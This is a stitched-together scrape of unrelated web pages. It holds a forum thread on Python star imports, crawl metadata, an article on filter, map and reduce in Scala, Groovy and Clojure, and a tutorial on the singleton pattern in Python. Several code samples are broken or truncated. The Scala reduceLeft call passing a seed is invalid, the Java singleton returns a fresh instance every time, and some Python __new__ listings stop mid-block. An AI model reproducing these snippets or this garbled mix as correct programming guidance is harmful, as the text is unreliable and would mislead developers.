Official tutorials can be wrong. When I first wrote EasyGui, the EasyGui tutorial used “from easygui import *”. That was a bad idea, and I’m slowly fixing the EasyGui tutorial so that the code examples no longer use “from easygui import *”. I expect the same is true of tkinter. That is, I suspect that originally the tkinter tutorial was written using import star. Today nobody would write it that way, but nobody has got around to systematically re-writing the tutorial.
That was a lot simpler than I thought it would be. Took me awhile to work out why my widgets were a mix of original and themed though.
It’s kind of ridiculous for people to call this a “bug in pyflakes”. pyflakes is only “quick-and-dirty” in the sense that it’s a very simple tool, and designed to run fast. It’s really neat if some static code analysis tools can go out and cross-reference other files to get a fuller picture, but I really like what pyflakes is today and I hope it never tries to implement tricks for analyzing star imports.
See, if pyflakes can catch something, it means you can discover it without having to go look at another source file. If pyflakes can’t catch something, a lot of other programmer’s tools (and a lot of programmers) are going to get confused by it. (In fact, python is one of very few languages with namespace rules simple and consistent enough that tools as simple as pyflakes can find any interesting bugs.) The question is: when you’re using star imports, how much are you giving up, and how much are you gaining?
Star imports have their places. Usually they work very well in very short scripts that are importing very little besides the one big star import. A lot of tutorial code falls under that heading, and I certainly wouldn’t call them “wrong” for doing it. But I’ve never regretted using explicit imports, and I’ve never been glad I used a star import.
All that said, if you absolutely must use “import *” in serious projects, I beg of you, at least _try_ to follow some guidelines:
– keep it localized in very short modules with very specific purposes
– do not use multiple star imports in the same file, or “chain” star imports
– consider using “import X as Y” to abbreviate names instead
|
http://pythonconquerstheuniverse.wordpress.com/2011/03/28/why-import-star-is-a-bad-idea/
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
Functional programming languages feature several families of common functions. Yet developers sometimes have difficulty moving between languages because familiar functions have unfamiliar names. Functional languages tend to name these common functions based on functional paradigms. Languages that are derived from scripting backgrounds tend to use more descriptive names (sometimes multiple names, with several aliases that point to the same function).
In this installment, I continue to discuss the utility of three key functions (filter, map, and reduce) and show implementation details from each Java.next language. The discussion and examples are designed to allay the confusion that can arise from the inconsistent names that the three languages use for similar functional constructs.
Filter
With the filter function, you can specify a Boolean criterion (typically in the form of a higher-order function) to apply to a collection. The function returns the subset of the collection whose elements match the criterion. Filtering is closely related to find functions, which return the first matching element in a collection.
Scala
Scala has many filter variants. The simplest case filters a list based on passed criteria. In this first example, I create a list of numbers. Then I apply the
filter() function, passing a code block that specifies the criterion that all elements must be divisible by 3:
val numbers = List.range(1, 11) numbers filter (x => x % 3 == 0) // List(3, 6, 9)
I can create a terser version of the code block by relying on implicit parameters:
numbers filter (_ % 3 == 0) // List(3, 6, 9)
This second version is less verbose because in Scala, you can replace parameters with underscores. Both versions yield the same result.
Many examples of filtering operations use numbers, but
filter() applies to any collection. This example applies
filter() to a list of words to determine the three-letter words:
val words = List("the", "quick", "brown", "fox", "jumped", "over", "the", "lazy", "dog") words filter (_.length == 3) // List(the, fox, the, dog)
Another filtering variant in Scala is the
partition() function, which
modifies a collection by splitting it into multiple parts. The split is based on the
higher-order function that you pass to determine the separation criteria. Here, the
partition() function returns two lists that are split according to which list members are divisible by 3:
numbers partition (_ % 3 == 0) // (List(3, 6, 9),List(1, 2, 4, 5, 7, 8, 10))
The
filter() function returns a collection of matching elements, whereas
find() returns only the first match:
numbers find (_ % 3 == 0) // Some(3)
However, the return value for
find() isn't the matched value itself, but rather one that's wrapped in an
Option class.
Option has two possible values:
Some or
None. Scala, like some other functional languages, uses
Option as a convention to avoid returning
null in the absence of a value. The
Some() instance wraps the actual return value, which is
3 in the case of
numbers find (_ % 3 == 0). If I try to find something that doesn't exist, the return is
None:
numbers find (_ < 0) // None
Scala also includes several functions that process a collection based on a predicate function and either retain values or discard them. The
takeWhile() function returns the largest set of values from the front of the collection that satisfy the predicate function:
List(1, 2, 3, -4, 5, 6, 7, 8, 9, 10) takeWhile (_ > 0) // List(1, 2, 3)
The
dropWhile() function skips the largest number of elements that satisfy the predicate:
words dropWhile (_ startsWith "t") // List(quick, brown, fox, jumped, over, the, lazy, dog)
Groovy
Groovy isn't considered a functional language, but it contains many functional paradigms — some with names that are derived from scripting languages. For example, the function that's traditionally called
filter() in functional languages is Groovy's
findAll() method:
(1..10).findAll {it % 3 == 0} // [3, 6, 9]
Like Scala's filter functions, Groovy's work on all types, including strings:
def words = ["the", "quick", "brown", "fox", "jumped", "over", "the", "lazy", "dog"] words.findAll {it.length() == 3} // [The, fox, the, dog]
Groovy also has a
partition()-like function called
split():
(1..10).split {it % 3} // [[1, 2, 4, 5, 7, 8, 10], [3, 6, 9]]
The return value of the
split() method is a nested array, like the nested list in Scala that's returned from
partition().
Groovy's
find() method returns the first match from the collection:
(1..10).find {it % 3 == 0} // 3
Unlike Scala, Groovy follows Java conventions and returns
null when
find() fails to find an element:
(1..10).find {it < 0} // null
Groovy also has
takeWhile() and
dropWhile() methods with similar semantics to Scala's versions:
[1, 2, 3, -4, 5, 6, 7, 8, 9, 10].takeWhile {it > 0} // [1, 2, 3]
words.dropWhile {it.startsWith("t")} // [quick, brown, fox, jumped, over, the, lazy, dog]
As in the Scala example,
dropWhile acts as a specialized filter: It drops the largest prefix that matches the predicate, filtering only the first part of the list:
def moreWords = ["the", "two", "ton"] + words moreWords.dropWhile {it.startsWith("t")} // [quick, brown, fox, jumped, over, the, lazy, dog]
Clojure
Clojure has an astounding number of collection-manipulation routines. Many of them are very generic because of Clojure's dynamic typing. Many developers gravitate toward Clojure because of the richness and flexibility of its collection libraries. Clojure uses traditional functional programming names, as shown by the
(filter ) function:
(def numbers (range 1 11)) (filter (fn [x] (= 0 (rem x 3))) numbers) ; (3 6 9)
Like the other languages, Clojure has a terser syntax for simple anonymous functions:
(filter #(zero? (rem % 3)) numbers) ; (3 6 9)
And as in the other languages, Clojure's functions work on any applicable type, such as strings:
(def words ["the" "quick" "brown" "fox" "jumped" "over" "the" "lazy" "dog"]) (filter #(= 3 (count %)) words) ; (the fox the dog)
Clojure's return type for
(filter ) is a
Seq, which is delineated by parentheses.
Seq is the core abstraction for sequential collections in Clojure.
Map
The second major functional transformation that's common to all Java.next languages is map. A map function accepts a higher-order function and a collection, then applies the passed function to each element and returns a collection. The returned collection (unlike with filtering) is the same size as the original collection, but with updated values.
Scala
Scala's
map() function accepts a code block and returns the transformed collection:
List(1, 2, 3, 4, 5) map (_ + 1) // List(2, 3, 4, 5, 6)
The
map() function works on all applicable types, but it doesn't necessarily return a transformed collection of the elements of the collection. In this example, I return a list of the sizes of all elements in a string:
words map (_.length) // List(3, 5, 5, 3, 6, 4, 3, 4, 3)
Nested lists occur so often in functional programming languages that library support for de-nesting — typically called flattening — is common. Here is an example of flattening a nested list:
List(List(1, 2, 3), List(4, 5, 6), List(7, 8, 9)) flatMap (_.toList) // List(1, 2, 3, 4, 5, 6, 7, 8, 9)
The resulting
List contains just the elements, with the extra infrastructure removed. The
flatMap function also works on data structures that might not seem nested in the traditional way. For example, you can consider a string as a series of nested characters:
words flatMap (_.toList) // List(t, h, e, q, u, i, c, k, b, r, o, w, n, f, o, x, ...
Groovy
Groovy also includes several map variants called
collect(). The default variant accepts a code block to apply to each element of the collection:
(1..5).collect {it += 1} // [2, 3, 4, 5, 6]
Like the other languages, Groovy allows shorthand for simple anonymous higher-order functions; the
it reserved word stands in for the lone parameter.
The
collect() method works on any collection to which you can supply a reasonable predicate, such as a list of strings:
def words = ["the", "quick", "brown", "fox", "jumped", "over", "the", "lazy", "dog"] words.collect {it.length()} // [3, 5, 5, 3, 6, 4, 3, 4, 3]
Groovy also has a method similar to
flatMap() that collapses inner structure, called
flatten():
[[1, 2, 3], [4, 5, 6], [7, 8, 9]].flatten() // [1, 2, 3, 4, 5, 6, 7, 8, 9]
The
flatten() method also works on nonobvious collections such as strings:
(words.collect {it.toList()}).flatten() // [t, h, e, q, u, i, c, k, b, r, o, w, n, f, o, x, j, ...
Clojure
Clojure includes a
(map ) function that accepts a higher-order function (which includes operators) and a collection:
(map inc numbers) ; (2 3 4 5 6 7 8 9 10 11)
The first parameter for
(map ) can be any function that accepts a single parameter: a named function, an anonymous function, or a preexisting function such as
inc that increments its argument. The more typical anonymous syntax is illustrated in this example, which generates a collection of the lengths of the words in a string:
(map #(count %) words) ; (3 5 5 3 6 4 3 4 3)
Clojure's
(flatten ) function is similar to Groovy's:
(flatten [[1 2 3] [4 5 6] [7 8 9]]) ; (1 2 3 4 5 6 7 8 9)
Fold/reduce
The third common function has the most variations in name, and many subtle differences, among the three Java.next languages. foldLeft and reduce are specific variations on a list-manipulation concept called a catamorphism, which is a generalization of list folding. In this case, a "fold left" means:
- Use a binary function or operator to combine the first element of the list with the second element to create a new first element.
- Repeat Step 1 until the list is exhausted and you are left with a single element.
Notice that this is exactly what you do when you sum a list of numbers: start with zero, add the first element, take that result and add it to the second, and continue until the list is consumed.
Scala
Scala has the richest set of fold operations, in part because it facilitates several typing scenarios that don't appear in the dynamically typed Groovy and Clojure. Reduce is commonly used to perform sums:
List.range(1, 10) reduceLeft((a, b) => a + b) // 45
The function that's supplied to
reduce() is typically a function or operator that accepts two arguments and returns a single result, thereby consuming the list. You can use Scala's syntactic sugar to shorten the function definition:
List.range(1, 10).reduceLeft(0)(_ + _) // 45
The
reduceLeft() function assumes that the first element is the left side of the operation. For operators such as plus, the placement of operands is irrelevant, but order matters for operations such as divide. If you want to reverse the order in which the operator is applied, use
reduceRight():
List.range(1, 10) reduceRight(_ - _) // 5
Understanding when you can use higher-level abstractions such as reduce is one of the keys to mastery of functional programming. This example uses
reduceLeft() to determine the longest word in a collection:
words.reduceLeft((a, b) => if (a.length > b.length) a else b) // jumped
The reduce and fold operations have overlapping functionality, with subtle distinctions that go beyond the scope of this article. However, one obvious difference suggests common uses. In Scala, the signature of
reduceLeft[B >: A](op: (B, A) => B): B shows that the only parameter that's expected is the function to combine elements. The initial value is expected to be the first value in the collection. In contrast, the signature of
foldLeft[B](z: B)(op: (B, A) => B): B indicates an initial seed value for the result, so you can return types that are different from the type of the list elements.
Here's an example summing a collection by using
foldLeft:
List.range(1, 10).foldLeft(0)(_ + _) // 45
Scala supports operator overloading, so the two common fold operations,
foldLeft and
foldRight, have corresponding operators:
/: and
:\ respectively. Thus, you can create a terser version of
sum by using
foldLeft:
(0 /: List.range(1, 10)) (_ + _) // 45
Similarly, to find the cascading difference between each member of a list (the reverse of a sum operation, admittedly a rare requirement) you can use either the
foldRight() function or the
:\ operator:
(List.range(1, 10) :\ 0) (_ - _) // 5
Groovy
Groovy's entry in the reduce category uses overloading to support the same functionality as Scala's
reduce() and
foldLeft() options. One version of the function accepts an initial value. This example uses the
inject() method to generate a sum over a collection:
(1..10).inject {a, b -> a + b} // 55
The alternate form accepts an initial value:
(1..10).inject(0, {a, b -> a + b}) // 55
Groovy has a much smaller functional library than Scala or Clojure — not surprising in view of the fact that Groovy is a multiparadigm language that doesn't emphasize functional programming.
Clojure
Clojure is primarily a functional programming language, so it supports
(reduce ). The
(reduce ) function accepts an optional initial value to cover both the
reduce() and
foldLeft() cases that Scala handles. The
(reduce ) function brings no surprises. It accepts a function that expects two arguments and a collection:
(reduce + (range 1 11)) ; 55
Clojure includes advanced support for
reduce-like functionality in a library called reducers, which I cover in an upcoming installment.
Conclusion
Part of the challenge of learning a different paradigm (such as functional programming) is learning new terminology. That effort is complicated when different communities use different terms. But once you grasp the similarities, you see that all three Java.next languages offer overlapping functionality in syntactically surprising ways.
In the next installment, I explore memoization in the Java.next languages and discuss how functional features used in combination can lead to concise power.
Resources
Learn
- Scala: Scala is a modern, functional language on the JVM.
- Groovy: Groovy is a dynamic variant of the Java language, with updated syntax and capabilities.
- Clojure: Clojure is a modern, functional Lisp that runs on the JVM.
- reducers: This powerful library for Clojure adds automatic parallelism for reduce operations.
-.
Discuss
- Get involved in the developerWorks community. Connect with other developerWorks users as you explore.
|
http://www.ibm.com/developerworks/java/library/j-jn11/index.html
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
namein the host-specified environment list and returns a pointer to the string that is associated with the matched environment variable. The set of environmental variables and methods of altering it are implementation-defined.
getenvinvokes undefined behavior.
getenv_sis only guaranteed to be available if
__STDC_LIB_EXT1__is defined by the implementation and if the user defines
__STDC_WANT_LIB_EXT1__to the integer constant 1 before including
stdlib.h.
*len(unless
lenis a null pointer)..
#include <stdio.h> #include <stdlib.h> int main(void) { char *env_p = getenv("PATH"); if (env_p) printf("PATH = %s\n", env_p); }
Possible output:
PATH = /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
© cppreference.com
Licensed under the Creative Commons Attribution-ShareAlike Unported License v3.0.
|
https://docs.w3cub.com/c/program/getenv/
|
CC-MAIN-2020-40
|
en
|
refinedweb
|
Content-type: text/html
#include <sys/sem.h>
The <sys/sem.h> header defines the following constants and structures.
Semaphore operation flags:
SEM_UNDO Set up adjust on exit entry.
Command definitions for the semctl() function are provided as listed below. See semctl(2). contains>.)
|
https://backdrift.org/man/SunOS-5.10/man3head/sem.h.3head.html
|
CC-MAIN-2020-40
|
en
|
refinedweb
|
As you know, the best way to concatenate two strings in C programming is by using the strcat() function. However, in this example, we will concatenate two strings manually.
Concatenate Two Strings Without Using strcat()
#include <stdio.h> int main() { char s1[100] = "programming ", s2[] = "is awesome"; int length, j; // store length of s1 in the length variable length = 0; while (s1[length] != '\0') { ++length; } // concatenate s2 to s1 for (j = 0; s2[j] != '\0'; ++j, ++length) { s1[length] = s2[j]; } // terminating the s1 string s1[length] = '\0'; printf("After concatenation: "); puts(s1); return 0; }
Output
After concatenation: programming is awesome
Here, two strings s1 and s2 and concatenated and the result is stored in s1.
It's important to note that the length of s1 should be sufficient to hold the string after concatenation. If not, you may get unexpected output.
|
https://cdn.programiz.com/c-programming/examples/concatenate-string
|
CC-MAIN-2020-40
|
en
|
refinedweb
|
Java Applet's and the Web
Difficulty: 1 / 10.
Assumed Knowledge: Basic HTML knowledge
Information: By the time you're finished follow this tutorial, You will be able to write basic applets, create a minimum requirement HTML containers and put your applet on the internet (through HTML).
What is an Applet used for..?
Applets are used to provide interactive features to web applications that cannot be provided by HTML alone. They can capture mouse input and also have controls like buttons or check boxes. In response to the user action an applet can change the provided graphic content
I'm using Eclipse IDE for this tutorialTo start this tutorial, Open your java IDE, create a new project and make a new class file, I will call mine appletTest.java. Once we have that sorted we will add a few lines to our project,
Starting with the imports we will use.
import java.awt.*; import java.applet.*;
What are these imports..?
The java.awt or abstract window toolkit package contains all of the classes for creating user interfaces and for painting graphics and images.
The java.applet package contains all the classes for creating applets.
Next, we'll add the extensions to the class.
public class appletTest extends Applet { }
Adding this Applet extension to the class allows us to edit to create and edit an applet (this is one of the classes in the java.applet package).
We will now add the graphics method.
public void paint (Graphics g) { g.drawRect(10, 10, 300, 100); g.drawString("Basic Java Applet", 20, 25); }
By creating this method using the information in the brackets ( ) allows us to add graphical content to our applet (Graphics is apart of the awt package). g.drawRect allows the user to draw a basic rectangle at specific X and Y coords, and at specific Width's and Height's.
Creating the HTML container
A Container is an object that stores other objects (its elements), and that has methods for accessing its elements. In particular, every type that is a model of Container has an associated iterator type that can be used to iterate through the Container's elements.
This is the process to create a HTML file in the Eclipse IDE, by all means, a previous made one can be dragged and droped.
I will use the same name as i did before, appletTest.html
Once we have made our .html file, we will now want to edit the contents, Once again this is the process to edit the HTML file in the Eclipse IDE, This can be done by selecting the file and opening it with notepad or other software.
Let's create our HTML container,
<html> <head><title>Basic Applet</title></head> <body><applet codebase = "." code = "appletTest.class" name = "Basic Applet" width = "500" height = "500" hspace = "0" vspace = "0" align = "middle"></applet> </body> </html>
Make sure you have debugged the .java file, and that it has created a .class file. (this should be with the .class file)
once you've have completed this, its time to view the final result,
|
http://forum.codecall.net/topic/65062-java-java-applets-and-the-web/
|
CC-MAIN-2020-40
|
en
|
refinedweb
|
Example: Sort ArrayList of Custom Objects By Property
import java.util.*; public class CustomObject { private String customProperty; public CustomObject(String property) { this.customProperty = property; } public String getCustomProperty() { return this.customProperty; } public static void main(String[] args) { ArrayList<Customobject> list = new ArrayList<>(); list.add(new CustomObject("Z")); list.add(new CustomObject("A")); list.add(new CustomObject("B")); list.add(new CustomObject("X")); list.add(new CustomObject("Aa")); list.sort((o1, o2) -> o1.getCustomProperty().compareTo(o2.getCustomProperty())); for (CustomObject obj : list) { System.out.println(obj.getCustomProperty()); } } }
Output
A Aa B X Z
In the above program, we've defined a
CustomObject class with a
String property, customProperty.
We've also added a constructor that initializes the property, and a getter function
getCustomProperty() which returns customProperty.
In the
main() method, we've created an array list of custom objects list, initialized with 5 objects.
For sorting the list with the given property, we use list's
sort() method. The
sort() method takes the list to be sorted (final sorted list is also the same) and a
comparator.
In our case, the comparator is a lambda which
-.
Based on this, list is sorted based on least property to greatest and stored back to list.
|
https://cdn.programiz.com/java-programming/examples/sort-custom-objects-property
|
CC-MAIN-2020-40
|
en
|
refinedweb
|
A reusable app for cropping images easily and non-destructively in Django
Project description
django-image-cropping is an app for cropping uploaded images via Django’s admin backend using Jcrop. or want to use the image_cropping templatetag.
Adjust the thumbnail processors for easy_thumbnails in your settings.py:
from easy_thumbnails.conf import settings as thumbnail_settings THUMBNAIL_PROCESSORS = ( 'image_cropping.thumbnail_processors.crop_corners', ) + thumbnail_settings.THUMBNAIL similar to this:
ln -s ~/.virtualenvs/yourenv/src/django-image-cropping/image_cropping/static/image_cropping/
Configuration
To your model containing an ImageField, django.db import models from image_cropping import ImageRatioField class MyModel(models.Model): image = models.ImageField(blank=True, null=True, upload_to='uploaded_images') # size is "width x height" cropping = ImageRatioField('image', '430x360')
In your admin class, add the ImageCroppingMixin in order to see the cropping widget: for the image in the admin backend.
Additionally, you can define the maximum size of the preview thumbnail in the admin.py:
IMAGE_CROPPING_SIZE_WARNING = True
Frontend
For your frontend code, django-image-cropping provides a templatetag to use for displaying a cropped thumbnail:
{% cropped_thumbnail yourmodelinstance "ratiofieldname" [scale=INT|width=INT|height=INT] [upscale] %}
Example usage:
{% load cropping %} <img src="{% cropped_thumbnail yourmodel "cropping" scale=0.5 %}">
You can also use the standard easy_thumbnails templatetag with the “box” parameter:
{% load thumbnails %} {%
Cropping from a, null be a regular file upload. If you’re selectively including or excluding fields from the ModelForm, remember to include the ImageRatioField.
Extras
Multiple formats
If you need the same image in multiple formats, simply specify another ImageRatioField. This will allow the image to be cropped twice:
from image_cropping works only in the admin for now, as it uses the raw_id widget.
Disabling cropping
If you want cropping to be optional, use allow_fullsize=True as an additional keyword argument in your ImageRatioField. Editors can now switch off cropping by unchecking the checkbox next to the image cropping widget.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
|
https://pypi.org/project/django-image-cropping/0.6.3/
|
CC-MAIN-2020-40
|
en
|
refinedweb
|
Master coders behave like architects that connect and build upon various design patterns to create a functional whole. One of the most important design patterns is a singleton—a class that has only one instance. You may ask: How does that look like? Let’s have a look at the code implementing a singleton in our interactive code shell:
Exercise: Try to create multiple instances of the singleton class. Can you do it?
Let’s dive into a deeper understanding of the singleton. We’ll discuss this code in our first method, so keep reading!
What’s a Singleton?
A singleton is a class that has only one instance. All variables for the class point to the same instance. It is simple and straight forward to create and use and it is one of the design patterns described by the Gang of Four. After creating the first instance, all other creations point to the first instance created. It also solves the problem of having global access to a resource without using global variables. I like this concise definition from Head First Design Patterns:
The Singleton Pattern ensures a class has only one instance, and provides a global point of access to it.
Why Would You Need a Singleton?
If you are reading this, you likely already have a possible use. Singleton is one of the Gang of Four’s Creational patterns. Read on to determine if its a good candidate for the problem you need to solve.
A singleton can be used to access a common resource like a database or a file. There is a bit of controversy on its use. In fact, the controversy could be described as outright singleton shaming. If that concerns you, I’ve listed some of the objections below with some links. In spite of all that, singletons can be useful and pythonic. From The Zen of Python (Pythonistas say Ohm):
- Simple is better than complex
- Practicality beats purity
Still the objections have merit and may apply to the code you are currently working on. And even if they don’t apply, understanding those objections may give you a better understanding of Object Oriented principals and unit testing.
A singleton may be useful to control access to anything that changes globally when it is used. In addition to databases and files, a singleton may provide benefit for access to these resources:
- Logger
- Thread pools
- caches
- dialog boxes
- An Http client
- handles to preference settings
- objects for logging
- handles for device drivers like printers.
- (?) Any single resource or global collection
A singleton can be used instead of using a global variable. Global variables are potentially messy. Singletons have some advantages over global variables. A singleton can be created with eager or lazy creation. Eager creation can create the resource when the program starts. Lazy creation will create the instance only when it is first needed. Global variables will use an eager creation whether you like it or not. Singletons do not pollute the global namespace.
And finally, a singleton can be a part of a larger design pattern. It may be part of any of the following patterns:
- abstract factory pattern
- builder pattern
- prototype pattern
- facade pattern
- state objects pattern If you have not heard of these, no worries. It won’t affect your understanding of the singleton pattern.
Implementation
The standard C# and Java implementations rely on creating a class with a private constructor. Access to the object is given through a method:
getInstance()
Here is a typical lazy singleton implementation in Java:
public Singleton { private static Singleton theOnlyInstance; private Singleton() {} public static Singleton getInstance() { if (theOnlyInstance) == null){ theOnlyInstance = new Singleton() } return new Singleton(); } }
There are many ways to implement Singleton in Python. I will show all four first and discuss them below.
Method 1: Use __new__
class Singleton: _instance = None def __new__(cls):
It uses the Python dunder
__new__ that was added to Python to provide an alternative object creation method. This is the kind of use case
__new__ was designed for
Pros:
- I believe this implementation is the closest in spirit to the GoF implementation. It will look familiar to anybody familiar with the standard Singleton implementation.
- Easy to understand code meaning is important for teams and maintenance.
- Uses one class to create and implement the Singleton.
Cons:
- In spite of its ‘correctness’ many python coders will have to look up
__new__to understand the object creation specifics. Its enough to know that
__new__instantiates the object.
- Code that normally goes in
__init__can be placed in
__new__.
- In order to work correctly the overridden
__new__must call its parent’s
__new__method. In this case, object is the parent. Instantiaion happens here with this line:
object.__new__(class_, *args, **kwargs)
Method 2: A Decorator
def singleton(Cls): singletons = {} def getinstance(*args, **kwargs): if Cls not in singletons: singletons[Cls] = Cls(*args, **kwargs) return singletons[Cls] return getinstance @singleton class MyClass: def __init__(self): self.val = 3 x = MyClass() y = MyClass() x.val = 42 x is y, y.val, type(MyClass)
Pros
- The code to write the decorator is separate from the class creation.
- It can be reused to make as many singletons as you need.
- The singleton decorator marks an intention that is clear and understandable
Cons
- The call
type(MyClass)will resolve as function.
- Creating a class method in
MyClasswill result in a syntax error.
If you really want to use a decorator and must retain class definition, there is a way. You could use this library:
pip install singleton_decorator
The library
singleton_decorator wraps and renames the singleton class. Alternately you can write your own. Here is an implementation:
def singleton(Cls): class Decorated(Cls): def __init__(self, *args, **kwargs): if hasattr(Cls, '__init__'): Cls.__init__(self, *args, **kwargs) def __repr__(self) : return Cls.__name__ + " obj" __str__ = __repr__ Decorated.__name__ = Cls.__name__ class ClassObject: def __init__(cls): cls.instance = None def __repr__(cls): return Cls.__name__ __str__ = __repr__ def __call__(cls, *args, **kwargs): if not cls.instance: cls.instance = Decorated(*args, **kwargs) return cls.instance return ClassObject() @singleton class MyClass(): pass x = MyClass() y = MyClass() x.val = 42 x is y, y.val
The output is:
(True, 42)
Interactive Exercise: Run the following interactive memory visualization. How many singleton instances do you find?
Method 3: Use Metaclass and Inherit From Type and Override __call__ to Trigger or Filter Instance Creation
class Singleton(type): _instances = {} def __call__(cls, *args, **kwargs): if cls not in cls._instances: cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs) return cls._instances[cls] class MyClass(metaclass=Singleton): pass x = MyClass() y = MyClass() x.val=4 x is y, y.val
The output is as follows:
(True, 4)
Method 3 creates a new custom metaclass by inheriting from type. MyClass then assigns Singleton as its metadata:
class MyClass(metadata = Singleton):
The mechanics of the Singleton class are interesting. It creates a dictionary to hold the instantiated singleton objects. The dict keys are the class names. In the overridden
__call__ method,
super.__call__ is called to create the class instance. See custom metaclass to better understand the
__call__ method.
Pros
- Singleton code is separate. Multiple singletons can be created using the same
Cons
- Metaclasses remain mysterious for many python coders. Here is what you need to know:
- In this implementation, type is inherited:
class Singleton(type)
- In order to work correctly the overridden
__call__must call its parent’s
__call__method.
cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs)
Method 4: Use a Base Class
class Singleton: _instance = None def __new__(class_, *args, **kwargs): if not isinstance(class_._instance, class_): class_._instance = object.__new__(class_, *args, **kwargs) return class_._instance class MyClass(Singleton): pass x = MyClass() y = MyClass() x.val=4 x is y, y.val
The output is as follows:
(True, 4)
Pros
- Code can be reused to create more singletons
- Uses familiar tools. (Compared to decorators, metaclasses and the
__new__method)
In all four methods, an instance is created the first time it is asked for one. All calls after the first return the first instance.
Singletons in a Threaded Environment
If your Singleton needs to operate in a multi-threaded environment, then your Singleton method needs to be made thread-safe. None of the methods above is thread-safe. The vulnerable code is found between the check of an existing Singleton and the creation of the first instance:
if cls._instance is None: cls._instance = super(Singleton, cls).__new__(cls)
Each implementation has a similar piece of code. To make it thread-safe, this code needs to be synchronized.
with threading.Lock(): if cls._instance is None: cls._instance = super(Singleton, cls).__new__(cls)
This works fine and with the lock in place, the Singleton creation becomes thread-safe. Now, every time a thread runs the code, the
threading.Lock() is called before it checks for an existing instance.
If performance is not an issue, that’s great, but we can do better. The locking mechanism is expensive and it only needs to run the first time. The instance creation only happens once so the lock should happen at most one time. The solution is to place the lock after the check statement. Then add another check after the lock.
import threading ... if cls._instance is None: with threading.Lock(): if cls._instance is None: cls._instance = super(Singleton, cls).__new__(cls)
And that is how to use “Double-checked locking“.
Thread-Safe Version of Method 1
Consider the following modification of method 1:
import threading class Singleton: _instance = None def __new__(cls): if cls._instance is None: with threading.Lock():
The output is:
(True, 42)
To make it thread-safe, we added two lines of code. Each method could be made thread-safe in a similar way
Alternatives to using a Singleton
Use a Module as a Singleton (The Global Object Pattern)
In Python, modules are single, unique, and globally available. The Global Object Pattern is recommended by the Python docs. It simply means to create a separate module and instantiate your object in the module’s global space. Subsequent references just need to import it.
Use Dependency Injection
Generally, this means using composition to provide objects to dependent objects. It can be implemented in countless ways but generally, put dependencies in constructors and avoid creating new instances of objects in business methods.
The Problems With Singletons
Of all 23 patterns in the seminal 1994 book Design Patterns, Singleton is the most used, the most discussed, and the most panned. It’s a bit of a rabbit hole to sift through the thousands of blogs and Stack Overflow posts that talk about it. But after all the Singleton hating, the pattern remains common. Why is that? It’s because conditions that suggest its use are very common: One database, one config file, one thread pool …
The arguments against its use are best stated in some elegant (and old) blog posts that I cannot match. But I will give a summary and links for further reading.
Concise Summary
Paraphrased from Brian Button in Why Singletons are Evil:
- They are generally used as a global instance, why is that so bad? Because you hide the dependencies of your application in your code, instead of exposing them through the interfaces. Making something global to avoid passing it around is a code smell. (That is some effective name-calling. Whatever code smell is, it makes me cringe just a bit and wrinkle my nose as I imagine it).
- no for unit tests. Why? Because each unit test should be independent from the other.
Should You Use Singletons in Your Code?
If you are asking yourself that based on the other peoples’ blogs, you are already in the rabbit hole. The word ‘should’ is not welcome in code design. Use singletons or not and be aware of possible problems. Refactor when there are problems.
Possible Problems to Consider
Tools are for people who know how to use them. In spite of all the bad stuff written about Singletons, people still use them because:
- They fill a need better than the alternatives.
and / or
- They don’t know any better and they are creating problems in their code by using them.
Avoid problems. Don’t be in group 2.
Problems with Singletons are caused because they break the single responsibility rule. They do three things:
- Guarantee only a single instance exists
- Provide global access to that instance
- Provide their own business logic.
- Because they break the single responsibility rule, Singletons may be hard to test
- Inversion of control IoC and dependency injection are patterns meant to overcome this problem in an object-oriented manner that helps to make testable code.
- Singletons may cause tightly coupled code. A global instance that has an inconstant state may require an object to depend on the state of the global object.
- It is an OO principal to Separate Creational Logic from Business Logic. Adhering to this principle “Singletons should never be used”. Again with the word should. Instead, Be Yoda: “Do or do not!“. Base the decision on your own code.
- Memory allocated to a Singleton can’t be freed. This is only a problem it the memory needs to be freed.
- In a garbage collected environment singletons may become a memory management issue.
Further Study
- Brandon Rhodes, The Singleton Pattern
- Miško Hevery, singleton I Love You-But You’re Bringing Me Down. Reposted with comments
- Miško Hevery, Singletons are Pathological Liars
- Miško Hevery, Where have all the singletons gone
- Wikipedia Singleton_pattern
- Michael Safayan, Singleton Anti-Pattern
- Mark Radford Singleton, the anti-pattern
- Alex Miller, Patterns I Hate #1: Singleton
- Scott Densmore/Brian Button, Why Singletons are Evil
- Martin Brampton, Well used singletons are GOOD!
- A discussion edited by Cunningham & Cunningham, Singleton Global Problems
- Robert Nystrom, Design Patterns Revisited: Singleton
- Steve Yegge, Singleton considered stupid
- J.B. Rainsberger Use your singletons wisely
Meta notes — Miško Hevery.
Hevery worked at Google when he wrote these blogs. His blogs were readable, entertaining, informative, provocative, and generally overstated to make a point. If you read his blogs, be sure to read the comments. Singletons are Pathological Liars has a unit testing example that illustrates how singletons can make it difficult to figure out dependency chains and start or test an application. It is a fairly extreme example of abuse, but he makes a valid point:
Singletons are nothing more than global state. Global state makes it so your objects can secretly get hold of things which are not declared in their APIs, and, as a result, Singletons make your APIs into pathological liars.
Of course, he is overstating a bit. Singletons wrap global state in a class and are used for things that are ‘naturally’ global by nature. Generally, Hevery recommends dependency injection to replace Singletons. That simply means objects are handed their dependencies in their constructor.
Where have all the singletons gone makes the point that dependency injection has made it easy to get instances to constructors that require them, which alleviates the underlying need behind the bad, global Singletons decried in the Pathological Liars.
Meta notes — Brandon Rhodes The Singleton Pattern
Python programmers almost never implement the Singleton Pattern as described in the Gang of Four book, whose Singleton class forbids normal instantiation and instead offers a class method that returns the singleton instance. Python is more elegant, and lets a class continue to support the normal syntax for instantiation while defining a custom
__new__()method that returns the singleton instance. But an even more Pythonic approach, if your design forces you to offer global access to a singleton object, is to use The Global Object Pattern instead.
Meta notes — J.B. Rainsberger Use your singletons wisely
Know when to use singletons, and when to leave them behind
J.B. Rainsberger
Published on July 01, 2001 Automated unit testing is most effective when:
- Coupling between classes is only as strong as it needs to be
- It is simple to use mock implementations of collaborating classes in place of production implementations
Singletons know too much
